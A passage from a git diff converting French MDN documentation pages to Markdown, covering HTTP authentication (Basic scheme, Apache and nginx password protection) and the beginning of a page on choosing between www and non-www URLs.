diff options
author | julieng <julien.gattelier@gmail.com> | 2021-09-17 20:50:13 +0200 |
---|---|---|
committer | SphinxKnight <SphinxKnight@users.noreply.github.com> | 2021-10-12 07:57:56 +0200 |
commit | 0fe03b92344c0f9b0d4ada2146d4480997ab2e25 (patch) | |
tree | b2b704c9e2987a769980ad0d619ff1bd879c7e34 /files/fr/web | |
parent | df12ec2617159d79d2ea959389358ef52423f9ff (diff) | |
download | translated-content-0fe03b92344c0f9b0d4ada2146d4480997ab2e25.tar.gz translated-content-0fe03b92344c0f9b0d4ada2146d4480997ab2e25.tar.bz2 translated-content-0fe03b92344c0f9b0d4ada2146d4480997ab2e25.zip |
convert content to md
Diffstat (limited to 'files/fr/web')
171 files changed, 8441 insertions, 11273 deletions
diff --git a/files/fr/web/http/authentication/index.md b/files/fr/web/http/authentication/index.md index 005ef8ed1a..0b77f2251f 100644 --- a/files/fr/web/http/authentication/index.md +++ b/files/fr/web/http/authentication/index.md @@ -3,128 +3,128 @@ title: Authentification HTTP slug: Web/HTTP/Authentication translation_of: Web/HTTP/Authentication --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>HTTP fournit la structure permettant le contrôle d'accès ainsi que l'authentification. Le schéma d'authentification HTTP le plus courant est « l'<em>authentification basique</em> » (« <em>Basic authentication</em> » en anglais). Cette page a pour but de présenter ce schéma d'authentification, et montre comment l'utiliser pour restreindre l'accès à votre serveur.</p> +HTTP fournit la structure permettant le contrôle d'accès ainsi que l'authentification. Le schéma d'authentification HTTP le plus courant est « l'_authentification basique_ » (« _Basic authentication_ » en anglais). Cette page a pour but de présenter ce schéma d'authentification, et montre comment l'utiliser pour restreindre l'accès à votre serveur. -<h2 id="the_general_http_authentication_framework">La structure d'authentification HTTP</h2> +## La structure d'authentification HTTP -<p>La <a href="https://tools.ietf.org/html/rfc7235">RFC 7235</a> définit la structure d'authentification HTTP qui est utilisable par un serveur pour <a href="/fr/docs/Glossary/challenge">défier</a> une requête d'un client, et inversement par un client pour fournir des informations d'authentification à un serveur.</p> +La [RFC 7235](https://tools.ietf.org/html/rfc7235) définit la structure d'authentification HTTP qui est utilisable par un serveur pour [défier](/fr/docs/Glossary/challenge) une requête d'un client, et inversement par un client pour fournir des informations d'authentification à un serveur. -<p>Le fonctionnement du défi/réponse se déroule ainsi :</p> +Le fonctionnement du défi/réponse se déroule ainsi : -<ol> - <li>Le serveur répond à un client avec un statut <a href="/fr/docs/Web/HTTP/Status/401"><code>401</code></a> (« Unauthorized ») et fournit l'information permettant l'autorisation via un en-tête de réponse <a href="/fr/docs/Web/HTTP/Headers/WWW-Authenticate"><code>WWW-Authenticate</code></a> contenant au moins un défi.</li> - <li>Le client désirant s'authentifier peut ensuite le faire en incluant un en-tête de requête <a href="/fr/docs/Web/HTTP/Headers/Authorization"><code>Authorization</code></a> contenant ses identifiants.</li> - <li>Très souvent, le client va demander à l'utilisateur un mot de passe et ensuite envoyer la requête au serveur en incluant cette information dans l'en-tête <code>Authorization</code>.</li> -</ol> +1. Le serveur répond à un client avec un statut [`401`](/fr/docs/Web/HTTP/Status/401) (« Unauthorized ») et fournit l'information permettant l'autorisation via un en-tête de réponse [`WWW-Authenticate`](/fr/docs/Web/HTTP/Headers/WWW-Authenticate) contenant au moins un défi. +2. Le client désirant s'authentifier peut ensuite le faire en incluant un en-tête de requête [`Authorization`](/fr/docs/Web/HTTP/Headers/Authorization) contenant ses identifiants. +3. Très souvent, le client va demander à l'utilisateur un mot de passe et ensuite envoyer la requête au serveur en incluant cette information dans l'en-tête `Authorization`. -<p><img alt="Un diagramme de séquence illustrant les messages HTTP entre un client et la ligne de vie du serveur" src="HTTPAuth.png"></p> +![Un diagramme de séquence illustrant les messages HTTP entre un client et la ligne de vie du serveur](HTTPAuth.png) -<p>Dans le cadre d'une authentification basique comme montré dans l'image ci-dessus, les échanges <strong>doivent</strong> s'effectuer au travers d'une connection HTTPS (TLS) afin d'être sécurisée.</p> +Dans le cadre d'une authentification basique comme montré dans l'image ci-dessus, les échanges **doivent** s'effectuer au travers d'une connection HTTPS (TLS) afin d'être sécurisée. -<h3 id="proxy_authentication">Authentification par procuration</h3> +### Authentification par procuration -<p>Le même mécanisme de défi et réponse peut être utilisée pour <em>l'authentification par procuration</em> (« <em>Proxy authentication</em> » en anglais). Dans ce cas, c'est un système de procuration intermédiaire qui requiert l'authentification. Comme les deux authentifications (celle de la ressource et celle du système de procuration) peuvent coexister, un autre jeu d'en-têtes et de codes de réponses HTTP est nécessaire. Dans le cadre des systèmes de procuration, le code HTTP de défi est <a href="/fr/docs/Web/HTTP/Status/407"><code>407</code></a> (« Proxy Authentication Required »), l'en-tête de réponse <a href="/fr/docs/Web/HTTP/Headers/Proxy-Authenticate"><code>Proxy-Authenticate</code></a> contient au moins un défi applicable au système de procuration et l'en-tête de requête <a href="/fr/docs/Web/HTTP/Headers/Proxy-Authorization"><code>Proxy-Authorization</code></a> est utilisé pour fournir les identifiants au serveur de procuration.</p> +Le même mécanisme de défi et réponse peut être utilisée pour _l'authentification par procuration_ (« _Proxy authentication_ » en anglais). Dans ce cas, c'est un système de procuration intermédiaire qui requiert l'authentification. Comme les deux authentifications (celle de la ressource et celle du système de procuration) peuvent coexister, un autre jeu d'en-têtes et de codes de réponses HTTP est nécessaire. Dans le cadre des systèmes de procuration, le code HTTP de défi est [`407`](/fr/docs/Web/HTTP/Status/407) (« Proxy Authentication Required »), l'en-tête de réponse [`Proxy-Authenticate`](/fr/docs/Web/HTTP/Headers/Proxy-Authenticate) contient au moins un défi applicable au système de procuration et l'en-tête de requête [`Proxy-Authorization`](/fr/docs/Web/HTTP/Headers/Proxy-Authorization) est utilisé pour fournir les identifiants au serveur de procuration. -<h3 id="access_forbidden">Accès interdit</h3> +### Accès interdit -<p>Si un serveur de procuration reçoit des identifiants valides ne permettant pas d'avoir accès à une ressource donnée, le serveur doit répondre avec un code de réponse <a href="/fr/docs/Web/HTTP/Status/403"><code>403</code></a> (« Forbidden »). Dans ce cas, à l'inverse des codes <a href="/fr/docs/Web/HTTP/Status/401"><code>401</code></a> (« Unauthorized ») ou <a href="/fr/docs/Web/HTTP/Status/407"><code>407</code></a> (« Proxy Authentication Required »), l'authentification n'est pas possible pour cet utilisateur.</p> +Si un serveur de procuration reçoit des identifiants valides ne permettant pas d'avoir accès à une ressource donnée, le serveur doit répondre avec un code de réponse [`403`](/fr/docs/Web/HTTP/Status/403) (« Forbidden »). Dans ce cas, à l'inverse des codes [`401`](/fr/docs/Web/HTTP/Status/401) (« Unauthorized ») ou [`407`](/fr/docs/Web/HTTP/Status/407) (« Proxy Authentication Required »), l'authentification n'est pas possible pour cet utilisateur. -<h3 id="authentication_of_cross-origin_images">Authentification des images multi-origines</h3> +### Authentification des images multi-origines -<p>Une faille de sécurité potentielle qui a été récemment corrigée par les navigateurs est l'authentification des images multi-origines. À partir de <a href="/fr/docs/Mozilla/Firefox/Releases/59">Firefox 59</a> et versions ultérieures, les images chargées depuis des origines différentes du site courant ne sont plus en mesure de déclencher l'ouverture d'une fenêtre de dialogue (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1423146">bug 1423146</a>) demandant l'authentification HTTP, empêchant ainsi le vol d'identifiants utilisateurs si des personnes mal-intentionnées étaient en mesure d'embarquer une image aléatoire dans une page.</p> +Une faille de sécurité potentielle qui a été récemment corrigée par les navigateurs est l'authentification des images multi-origines. À partir de [Firefox 59](/fr/docs/Mozilla/Firefox/Releases/59) et versions ultérieures, les images chargées depuis des origines différentes du site courant ne sont plus en mesure de déclencher l'ouverture d'une fenêtre de dialogue ([bug 1423146](https://bugzilla.mozilla.org/show_bug.cgi?id=1423146)) demandant l'authentification HTTP, empêchant ainsi le vol d'identifiants utilisateurs si des personnes mal-intentionnées étaient en mesure d'embarquer une image aléatoire dans une page. -<h3 id="character_encoding_of_http_authentication">Encodage de caractère de l'authentification HTTP</h3> +### Encodage de caractère de l'authentification HTTP -<p>Les navigateurs utilisent l'encodage de caractère <code>utf-8</code> pour les noms d'utilisateur ainsi que les mots de passe. Firefox utilisait auparavant l'encodage <code>ISO-8859-1</code>, mais l'a remplacé par <code>utf-8</code> afin de s'aligner avec les autres navigateurs et ainsi éviter les potentiels problèmes, comme décrit dans le <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1419658">bug 1419658</a>.</p> +Les navigateurs utilisent l'encodage de caractère `utf-8` pour les noms d'utilisateur ainsi que les mots de passe. Firefox utilisait auparavant l'encodage `ISO-8859-1`, mais l'a remplacé par `utf-8` afin de s'aligner avec les autres navigateurs et ainsi éviter les potentiels problèmes, comme décrit dans le [bug 1419658](https://bugzilla.mozilla.org/show_bug.cgi?id=1419658). -<h3 id="www-authenticate_and_proxy-authenticate_headers">En-têtes WWW-Authenticate et Proxy-Authenticate</h3> +### En-têtes WWW-Authenticate et Proxy-Authenticate -<p>Les en-têtes de réponse <a href="/fr/docs/Web/HTTP/Headers/WWW-Authenticate"><code>WWW-Authenticate</code></a> et <a href="/fr/docs/Web/HTTP/Headers/Proxy-Authenticate"><code>Proxy-Authenticate</code></a> définissent le schéma d'authentification devant être utilisée pour accéder à une ressource, afin que le client désirant y accéder puisse savoir comment fournir les identifiants.</p> +Les en-têtes de réponse [`WWW-Authenticate`](/fr/docs/Web/HTTP/Headers/WWW-Authenticate) et [`Proxy-Authenticate`](/fr/docs/Web/HTTP/Headers/Proxy-Authenticate) définissent le schéma d'authentification devant être utilisée pour accéder à une ressource, afin que le client désirant y accéder puisse savoir comment fournir les identifiants. -<p>La syntaxe pour ces en-têtes est la suivante :</p> +La syntaxe pour ces en-têtes est la suivante : -<pre class="brush: html">WWW-Authenticate: <type> realm=<realm> -Proxy-Authenticate: <type> realm=<realm></pre> +```html +WWW-Authenticate: <type> realm=<realm> +Proxy-Authenticate: <type> realm=<realm> +``` -<p>Ici, <code><type></code> est le schéma d'authentification (« Basic » est le plus courant des schémas, et est présenté <a href="#basic_authentication_scheme">ici</a>). Le <code>realm</code> (« <em>domaine</em> » en français) est utilisé pour décrire la « zone » protégée, ou pour indiquer la portée de la protection. Cela pourrait être un message, par exemple « Accès au site de pré-production », pour que l'utilisateur puisse savoir à quel espace il est en train d'accéder.</p> +Ici, `<type>` est le schéma d'authentification (« Basic » est le plus courant des schémas, et est présenté [ici](#basic_authentication_scheme)). Le `realm` (« _domaine_ » en français) est utilisé pour décrire la « zone » protégée, ou pour indiquer la portée de la protection. Cela pourrait être un message, par exemple « Accès au site de pré-production », pour que l'utilisateur puisse savoir à quel espace il est en train d'accéder. -<h3 id="authorization_and_proxy-authorization_headers">En-têtes Authorization et Proxy-Authorization</h3> +### En-têtes Authorization et Proxy-Authorization -<p>Les en-têtes de requête <a href="/fr/docs/Web/HTTP/Headers/Authorization"><code>Authorization</code></a> et <a href="/fr/docs/Web/HTTP/Headers/Proxy-Authorization"><code>Proxy-Authorization</code></a> contiennent les identifiants pour authentifier un client avec un serveur (de procuration). Ici, le type est encore une fois nécessaire, suivi par les identifiants, qui peuvent être encodés voire encryptés selon le schéma d'authentification utilisé.</p> +Les en-têtes de requête [`Authorization`](/fr/docs/Web/HTTP/Headers/Authorization) et [`Proxy-Authorization`](/fr/docs/Web/HTTP/Headers/Proxy-Authorization) contiennent les identifiants pour authentifier un client avec un serveur (de procuration). Ici, le type est encore une fois nécessaire, suivi par les identifiants, qui peuvent être encodés voire encryptés selon le schéma d'authentification utilisé. -<pre class="brush: html">Authorization: <type> <credentials> -Proxy-Authorization: <type> <credentials></pre> +```html +Authorization: <type> <credentials> +Proxy-Authorization: <type> <credentials> +``` -<h3 id="authentication_schemes">Schéma d'authentification</h3> +### Schéma d'authentification -<p>La structure d'authentification HTTP est utilisée par plusieurs schémas d'authentification. Ils diffèrent de par leur niveau de sécurité ainsi que par leur disponibilité dans les systèmes client ou serveur.</p> +La structure d'authentification HTTP est utilisée par plusieurs schémas d'authentification. Ils diffèrent de par leur niveau de sécurité ainsi que par leur disponibilité dans les systèmes client ou serveur. -<p>Le plus commun est le schéma d'authentification « Basique » (« Basic » en anglais), qui est présenté plus en détail ci-dessous. IANA maintient une <a href="https://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">liste des schémas d'authentification</a>, mais ils y en a d'autres fournit par des services d'hébergement comme Amazon AWS. Les schémas communs sont :</p> +Le plus commun est le schéma d'authentification « Basique » (« Basic » en anglais), qui est présenté plus en détail ci-dessous. IANA maintient une [liste des schémas d'authentification](https://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml), mais ils y en a d'autres fournit par des services d'hébergement comme Amazon AWS. Les schémas communs sont : -<dl> - <dt>Basic</dt> - <dd>Voir <a href="https://tools.ietf.org/html/rfc7617">RFC 7617</a>, identifiants encodés en base64. Voir ci-dessous pour plus de détails.</dd> - <dt>Bearer</dt> - <dd>Voir <a href="https://tools.ietf.org/html/rfc6750">RFC 6750</a>, jetons <em>bearer</em> (« porteur » en français) pour accéder à des ressources protégées par OAuth 2.0.</dd> - <dt>Digest</dt> - <dd>Voir <a href="https://tools.ietf.org/html/rfc7616">RFC 7616</a>, Firefox n'est compatible qu'avec le chiffrement md5, voir <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=472823">bug 472823</a> pour la compatibilité avec le chiffrement SHA.</dd> - <dt>HOBA</dt> - <dd>Voir <a href="https://tools.ietf.org/html/rfc7486">RFC 7486</a>, <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, basé sur une signature digitale.</dd> - <dt>Mutual</dt> - <dd>Voir <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>.</dd> - <dt>AWS4-HMAC-SHA256</dt> - <dd>Voir la <a href="https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Documentation AWS</a>.</dd> -</dl> +- Basic + - : Voir [RFC 7617](https://tools.ietf.org/html/rfc7617), identifiants encodés en base64. Voir ci-dessous pour plus de détails. +- Bearer + - : Voir [RFC 6750](https://tools.ietf.org/html/rfc6750), jetons _bearer_ (« porteur » en français) pour accéder à des ressources protégées par OAuth 2.0. +- Digest + - : Voir [RFC 7616](https://tools.ietf.org/html/rfc7616), Firefox n'est compatible qu'avec le chiffrement md5, voir [bug 472823](https://bugzilla.mozilla.org/show_bug.cgi?id=472823) pour la compatibilité avec le chiffrement SHA. +- HOBA + - : Voir [RFC 7486](https://tools.ietf.org/html/rfc7486), **H**TTP **O**rigin-**B**ound **A**uthentication, basé sur une signature digitale. +- Mutual + - : Voir [draft-ietf-httpauth-mutual](https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11). +- AWS4-HMAC-SHA256 + - : Voir la [Documentation AWS](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html). -<h2 id="basic_authentication_scheme">Schéma d'authentification basique</h2> +## Schéma d'authentification basique -<p>Le schéma d'authentification « basique » est défini dans la <a href="https://tools.ietf.org/html/rfc7617">RFC 7617</a>, et transmet les identifiants via des ensembles ID_utilisateur/mot_de_passe, encodés avec base64.</p> +Le schéma d'authentification « basique » est défini dans la [RFC 7617](https://tools.ietf.org/html/rfc7617), et transmet les identifiants via des ensembles ID_utilisateur/mot_de_passe, encodés avec base64. -<h3 id="security_of_basic_authentication">Sécurité de l'authentification basique</h3> +### Sécurité de l'authentification basique -<p>Étant donné que l'ID utilisateur et le mot de passe transitent sur le réseau en clair (base64 étant un encodage réversible), le schéma d'authentification basique n'est pas sécurisé. C'est pourquoi HTTPS / TLS doivent être utilisés avec ce type d'authentification. Sans cela, ce schéma <strong>ne doit pas</strong> être utilisé pour protéger des informations sensibles.</p> +Étant donné que l'ID utilisateur et le mot de passe transitent sur le réseau en clair (base64 étant un encodage réversible), le schéma d'authentification basique n'est pas sécurisé. C'est pourquoi HTTPS / TLS doivent être utilisés avec ce type d'authentification. Sans cela, ce schéma **ne doit pas** être utilisé pour protéger des informations sensibles. -<h3 id="restricting_access_with_apache_and_basic_authentication">Restreindre l'accès avec Apache et l'authentification basique</h3> +### Restreindre l'accès avec Apache et l'authentification basique -<p>Pour protéger avec un mot de passe un répertoire sur un serveur Apache, vous aurez besoin d'utiliser un ou plusieurs fichiers <code>.htaccess</code> et <code>.htpasswd</code>.</p> +Pour protéger avec un mot de passe un répertoire sur un serveur Apache, vous aurez besoin d'utiliser un ou plusieurs fichiers `.htaccess` et `.htpasswd`. -<p>Le fichier <code>.htaccess</code> ressemble à ceci :</p> +Le fichier `.htaccess` ressemble à ceci : -<pre>AuthType Basic -AuthName "Accès au site de pré-production" -AuthUserFile /chemin/vers/.htpasswd -Require valid-user</pre> + AuthType Basic + AuthName "Accès au site de pré-production" + AuthUserFile /chemin/vers/.htpasswd + Require valid-user -<p>Le fichier <code>.htaccess</code> fait référence à un fichier <code>.htpasswd</code> dans lequel chaque ligne contient un nom d'utilisateur et un mot de passe séparés par deux-points (« : »). Vous ne pouvez pas déchiffrer les mots de passe à l'intérieur, car ils sont <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">chiffrées</a> (en md5 en l'occurrence). Vous pouvez tout à fait nommer votre fichier <code>.htpasswd</code> différemment si vous le désirez, mais gardez en tête que ce fichier ne doit pas être accessible à quiconque (Apache est normalement configuré pour empêcher l'accès aux fichiers <code>.ht*</code>).</p> +Le fichier `.htaccess` fait référence à un fichier `.htpasswd` dans lequel chaque ligne contient un nom d'utilisateur et un mot de passe séparés par deux-points (« : »). Vous ne pouvez pas déchiffrer les mots de passe à l'intérieur, car ils sont [chiffrées](https://httpd.apache.org/docs/2.4/misc/password_encryptions.html) (en md5 en l'occurrence). Vous pouvez tout à fait nommer votre fichier `.htpasswd` différemment si vous le désirez, mais gardez en tête que ce fichier ne doit pas être accessible à quiconque (Apache est normalement configuré pour empêcher l'accès aux fichiers `.ht*`). -<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. -user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/</pre> + aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. + user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ -<h3 id="restricting_access_with_nginx_and_basic_authentication">Restreindre l'accès avec nginx et l'authentification basique</h3> +### Restreindre l'accès avec nginx et l'authentification basique -<p>Pour nginx, vous aurez besoin de spécifier une zone ou emplacement (<em>location</em> en anglais) à protéger, ainsi que la directive <code>auth_basic</code> définissant le nom de cette zone. La directive <code>auth_basic_user_file</code> fait référence à un fichier .htpasswd contenant les identifiants utilisateurs encryptés, exactement comme dans l'exemple avec Apache ci-dessus.</p> +Pour nginx, vous aurez besoin de spécifier une zone ou emplacement (_location_ en anglais) à protéger, ainsi que la directive `auth_basic` définissant le nom de cette zone. La directive `auth_basic_user_file` fait référence à un fichier .htpasswd contenant les identifiants utilisateurs encryptés, exactement comme dans l'exemple avec Apache ci-dessus. -<pre>location /status { - auth_basic "Access to the staging site"; - auth_basic_user_file /etc/apache2/.htpasswd; -}</pre> + location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; + } -<h3 id="access_using_credentials_in_the_url">Accès avec identifiants dans l'URL</h3> +### Accès avec identifiants dans l'URL -<p>Beaucoup de clients permettent d'éviter la fenêtre de dialogue demandant les identifiants en utilisant une URL contenant le nom d'utilisateur ainsi que le mot de passe comme suit :</p> +Beaucoup de clients permettent d'éviter la fenêtre de dialogue demandant les identifiants en utilisant une URL contenant le nom d'utilisateur ainsi que le mot de passe comme suit : -<pre class="example-bad">https://utilisateur:password@www.example.com/</pre> +```plain example-bad +https://utilisateur:password@www.example.com/ +``` -<p><strong>L'utilisation de ces URLs est dépréciée</strong>. Dans Chrome, la partie <code>username:password@</code> dans les URLs est même <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">retirée pour des raisons de sécurité</a>. Dans Firefox, le site est testé afin de savoir s'il requiert ou non l'authentification et si ce n'est pas le cas, Firefox va avertir l'utilisateur avec une fenêtre de dialogue « Vous êtes sur le point de vous connecter au site "www.example.com" avec le nom d'utilisateur "username", mais le site ne requiert pas d'authentification. Ceci pourrait être une tentative pour vous piéger. »</p> +**L'utilisation de ces URLs est dépréciée**. Dans Chrome, la partie `username:password@` dans les URLs est même [retirée pour des raisons de sécurité](https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7). Dans Firefox, le site est testé afin de savoir s'il requiert ou non l'authentification et si ce n'est pas le cas, Firefox va avertir l'utilisateur avec une fenêtre de dialogue « Vous êtes sur le point de vous connecter au site "www\.example.com" avec le nom d'utilisateur "username", mais le site ne requiert pas d'authentification. Ceci pourrait être une tentative pour vous piéger. » -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li>L'entête <a href="/fr/docs/Web/HTTP/Headers/WWW-Authenticate"><code>WWW-Authenticate</code></a></li> - <li>L'entête <a href="/fr/docs/Web/HTTP/Headers/Authorization"><code>Authorization</code></a></li> - <li>L'entête <a href="/fr/docs/Web/HTTP/Headers/Proxy-Authorization"><code>Proxy-Authorization</code></a></li> - <li>L'entête <a href="/fr/docs/Web/HTTP/Headers/Proxy-Authenticate"><code>Proxy-Authenticate</code></a></li> - <li>Les codes de statut : <a href="/fr/docs/Web/HTTP/Status/401"><code>401</code></a>, <a href="/fr/docs/Web/HTTP/Status/403"><code>403</code></a> et <a href="/fr/docs/Web/HTTP/Status/407"><code>407</code></a></li> -</ul> +- L'entête [`WWW-Authenticate`](/fr/docs/Web/HTTP/Headers/WWW-Authenticate) +- L'entête [`Authorization`](/fr/docs/Web/HTTP/Headers/Authorization) +- L'entête [`Proxy-Authorization`](/fr/docs/Web/HTTP/Headers/Proxy-Authorization) +- L'entête [`Proxy-Authenticate`](/fr/docs/Web/HTTP/Headers/Proxy-Authenticate) +- Les codes de statut : [`401`](/fr/docs/Web/HTTP/Status/401), [`403`](/fr/docs/Web/HTTP/Status/403) et [`407`](/fr/docs/Web/HTTP/Status/407) diff --git a/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md b/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md index 0775a812bb..82cc8f2144 100644 --- a/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md +++ b/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md @@ -8,63 +8,57 @@ tags: translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs original_slug: Web/HTTP/Basics_of_HTTP/Choisir_entre_les_URLs_www_sans_www --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager.</p> +Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager. -<h2 id="Que_sont_les_noms_de_domaines">Que sont les noms de domaines ?</h2> +## Que sont les noms de domaines ? -<p>Dans une URL HTTP, la première chaîne qui suit le schéma <code>http://</code> ou <code>https://</code> est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur.</p> +Dans une URL HTTP, la première chaîne qui suit le schéma `http://` ou `https://` est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur. -<p>Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes entre elles. Le point clé est que, sémantiquement, <em>un nom de domaine représente un seul serveur</em>.</p> +Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes entre elles. Le point clé est que, sémantiquement, _un nom de domaine représente un seul serveur_. -<h2 id="Donc_je_dois_choisir_l'un_ou_l'autre_pour_mon_site_web">Donc je dois choisir l'un ou l'autre pour mon site web ?</h2> +## Donc je dois choisir l'un ou l'autre pour mon site web ? -<ul> - <li>Oui, car vous avez besoin de faire une sélection et de vous y tenir. Vous être libre de choisir l'un ou l'autre pour déterminer votre domaine canonique mais une fois que vous avez effectué votre choix, vous devez le respecter. Votre site web gardera ainsi une structure consistante pour vos utilisateurs ainsi que les moteurs de recherche. Cela inclut la manière dont vous exposez des liens vers votre site, que ce soit au sein du site (auquel cas l'utilisation d'adresses relatives devrait simplifier le problème), ou bien lorsque vous partagez l'information à l'extérieur (courriel, réseaux sociaux, ...).</li> - <li>Non, vous pouvez utiliser les deux à la fois. La seule chose importante est de rester cohérent au niveau du nom de domaine que vous utilisez de manière officielle. <strong>Ce domaine est appelé le nom de domaine <em>canonique</em>.</strong> L'ensemble de vos liens absolus doivent y référer. Vous pouvez, dans le même temps, bénéficier du second domaine. HTTP et HTML supportent deux techniques qui permettent à vos utilisateurs et aux moteurs de recherche de savoir simplement lequel des deux domaines constitue le domaine canonique, bien que l'autre domaine soit actif et serve des pages web.</li> -</ul> +- Oui, car vous avez besoin de faire une sélection et de vous y tenir. Vous être libre de choisir l'un ou l'autre pour déterminer votre domaine canonique mais une fois que vous avez effectué votre choix, vous devez le respecter. Votre site web gardera ainsi une structure consistante pour vos utilisateurs ainsi que les moteurs de recherche. Cela inclut la manière dont vous exposez des liens vers votre site, que ce soit au sein du site (auquel cas l'utilisation d'adresses relatives devrait simplifier le problème), ou bien lorsque vous partagez l'information à l'extérieur (courriel, réseaux sociaux, ...). +- Non, vous pouvez utiliser les deux à la fois. La seule chose importante est de rester cohérent au niveau du nom de domaine que vous utilisez de manière officielle. **Ce domaine est appelé le nom de domaine _canonique_.** L'ensemble de vos liens absolus doivent y référer. Vous pouvez, dans le même temps, bénéficier du second domaine. HTTP et HTML supportent deux techniques qui permettent à vos utilisateurs et aux moteurs de recherche de savoir simplement lequel des deux domaines constitue le domaine canonique, bien que l'autre domaine soit actif et serve des pages web. -<p>Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche.</p> +Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche. -<h2 id="Techniques_pour_les_URLs_canoniques">Techniques pour les URLs canoniques</h2> +## Techniques pour les URLs canoniques -<p>Il existe différentes manières de choisir le site web qui sera le site <em>canonique</em>.</p> +Il existe différentes manières de choisir le site web qui sera le site _canonique_. -<h3 id="Utiliser_la_redirection_via_HTTP_301">Utiliser la redirection via HTTP 301</h3> +### Utiliser la redirection via HTTP 301 -<p>Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www.</p> +Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www. -<p>Exemple :</p> +Exemple : -<ol> - <li>Un serveur reçoit une requête pour <code>https://www.exemple.org/kadoc</code> (tandis que le domaine canonique est constitué par exemple.org)</li> - <li>Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}<code>: https://exemple.org/kadoc</code>.</li> - <li>Le client émet une requête pour le domaine canonique : <code>https://exemple.org/kadoc</code></li> -</ol> +1. Un serveur reçoit une requête pour `https://www.exemple.org/kadoc` (tandis que le domaine canonique est constitué par exemple.org) +2. Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}`: https://exemple.org/kadoc`. +3. Le client émet une requête pour le domaine canonique : `https://exemple.org/kadoc` -<p>Le <a href="https://github.com/h5bp/html5-boilerplate">projet HTML5 boilerplate</a> contient un exemple sur <a href="https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258">la configuration d'un serveur Apache afin de rediriger un domaine vers un autre</a>.</p> +Le [projet HTML5 boilerplate](https://github.com/h5bp/html5-boilerplate) contient un exemple sur [la configuration d'un serveur Apache afin de rediriger un domaine vers un autre](https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258). -<h3 id="Utiliser_<_link_relcanonical>">Utiliser <em><code>< link rel="canonical"></code></em></h3> +### Utiliser _`< link rel="canonical">`_ -<p>Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement.</p> +Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer 